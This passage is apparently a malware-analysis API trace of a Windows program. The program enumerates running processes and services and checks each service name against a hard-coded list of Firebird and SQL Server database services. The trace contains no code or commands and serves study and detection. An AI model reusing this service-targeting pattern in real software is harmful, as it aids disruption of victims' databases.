th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0236.051] lstrlenW (lpString="wininit.exe") returned 11 [0236.051] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.052] lstrlenW (lpString="csrss.exe") returned 9 [0236.052] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0236.052] lstrlenW (lpString="winlogon.exe") returned 12 [0236.052] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0236.052] lstrlenW (lpString="services.exe") returned 12 [0236.052] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0236.053] lstrlenW (lpString="lsass.exe") returned 9 [0236.053] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0236.053] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0236.053] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0236.053] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0236.053] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.054] lstrlenW (lpString="svchost.exe") returned 11 [0236.054] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.054] lstrlenW (lpString="svchost.exe") returned 11 [0236.054] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0236.055] lstrlenW (lpString="dwm.exe") returned 7 [0236.055] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.055] lstrlenW (lpString="svchost.exe") returned 11 [0236.055] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.055] lstrlenW (lpString="svchost.exe") returned 11 [0236.055] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.056] lstrlenW (lpString="svchost.exe") returned 11 [0236.056] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.056] lstrlenW (lpString="svchost.exe") returned 11 [0236.056] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.058] lstrlenW (lpString="svchost.exe") returned 11 [0236.058] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.058] lstrlenW (lpString="svchost.exe") returned 11 [0236.058] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.058] lstrlenW (lpString="svchost.exe") returned 11 [0236.059] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.059] lstrlenW (lpString="svchost.exe") returned 11 [0236.059] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.059] lstrlenW (lpString="svchost.exe") returned 11 [0236.059] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.060] lstrlenW (lpString="svchost.exe") returned 11 [0236.060] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0236.060] lstrlenW (lpString="spoolsv.exe") returned 11 [0236.060] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.060] lstrlenW (lpString="svchost.exe") returned 11 [0236.060] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0236.061] lstrlenW (lpString="audiodg.exe") returned 11 [0236.061] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.061] lstrlenW (lpString="svchost.exe") returned 11 [0236.061] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0236.061] lstrlenW (lpString="sihost.exe") returned 10 [0236.061] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0236.062] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0236.062] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0236.062] lstrlenW (lpString="Memory Compression") returned 18 [0236.062] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0236.062] lstrlenW (lpString="taskhostw.exe") returned 13 [0236.063] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0236.063] lstrlenW (lpString="explorer.exe") returned 12 [0236.063] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0236.063] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0236.063] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0236.064] lstrlenW (lpString="SearchUI.exe") returned 12 [0236.064] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0236.064] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0236.064] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0236.064] lstrlenW (lpString="winhost.exe") returned 11 [0236.064] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0236.065] lstrlenW (lpString="cmd.exe") returned 7 [0236.065] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0236.065] lstrlenW (lpString="conhost.exe") returned 11 [0236.065] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0236.065] lstrlenW (lpString="mode.com") returned 8 [0236.065] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x178, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0236.066] lstrlenW (lpString="consent.exe") returned 11 [0236.066] Process32NextW (in: hSnapshot=0x548, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x178, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0236.066] CloseHandle (hObject=0x548) returned 1 [0236.066] Sleep (dwMilliseconds=0x1f4) [0236.923] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb198 [0236.923] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0236.923] GetLastError () returned 0xea [0236.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x41c34d0 [0236.924] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41c34d0, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41c34d0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0236.925] CloseServiceHandle (hSCObject=0x40eb198) returned 1 [0236.925] lstrlenW (lpString="Appinfo") returned 7 [0236.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0236.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0236.925] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0236.925] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0236.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0236.925] lstrlenW (lpString="AppXSvc") returned 7 [0236.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0236.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0236.925] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0236.925] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0236.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0236.925] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0236.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0236.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0236.925] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0236.925] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0236.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0236.925] lstrlenW (lpString="Audiosrv") returned 8 [0236.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0236.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0236.926] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0236.926] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0236.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0236.926] lstrlenW (lpString="BFE") returned 3 [0236.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0236.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0236.926] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0236.926] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0236.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0236.926] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0236.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0236.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0236.926] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0236.926] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0236.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0236.926] lstrlenW (lpString="CDPSvc") returned 6 [0236.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0236.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0236.926] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0236.926] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0236.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0236.926] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0236.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0236.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0236.926] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0236.926] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0236.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0236.926] lstrlenW (lpString="CryptSvc") returned 8 [0236.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0236.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0236.926] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0236.926] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0236.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0236.926] lstrlenW (lpString="DcomLaunch") returned 10 [0236.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0236.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0236.927] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0236.927] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0236.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0236.927] lstrlenW (lpString="DeviceAssociationService") returned 24 [0236.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0236.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0236.927] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0236.927] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0236.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0236.927] lstrlenW (lpString="Dhcp") returned 4 [0236.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0236.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0236.927] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0236.927] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0236.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0236.927] lstrlenW (lpString="Dnscache") returned 8 [0236.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0236.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0236.927] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0236.927] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0236.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0236.927] lstrlenW (lpString="DPS") returned 3 [0236.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0236.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0236.927] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0236.927] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0236.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0236.927] lstrlenW (lpString="DusmSvc") returned 7 [0236.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0236.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0236.927] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0236.927] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0236.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0236.927] lstrlenW (lpString="EventLog") returned 8 [0236.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0236.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0236.928] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0236.928] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0236.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0236.928] lstrlenW (lpString="EventSystem") returned 11 [0236.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0236.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0236.928] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0236.928] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0236.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0236.928] lstrlenW (lpString="FontCache") returned 9 [0236.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0236.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0236.928] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0236.928] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0236.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0236.928] lstrlenW (lpString="gpsvc") returned 5 [0236.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0236.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0236.928] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0236.928] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0236.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0236.928] lstrlenW (lpString="iphlpsvc") returned 8 [0236.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0236.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0236.928] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0236.928] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0236.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0236.928] lstrlenW (lpString="KeyIso") returned 6 [0236.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0236.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0236.928] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0236.928] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0236.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0236.928] lstrlenW (lpString="LanmanServer") returned 12 [0236.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0236.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0236.929] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0236.929] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0236.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0236.929] lstrlenW (lpString="LanmanWorkstation") returned 17 [0236.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0236.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0236.929] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0236.929] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0236.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0236.929] lstrlenW (lpString="lfsvc") returned 5 [0236.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0236.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0236.929] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0236.929] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0236.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0236.929] lstrlenW (lpString="lmhosts") returned 7 [0236.929] lstrcmpiW 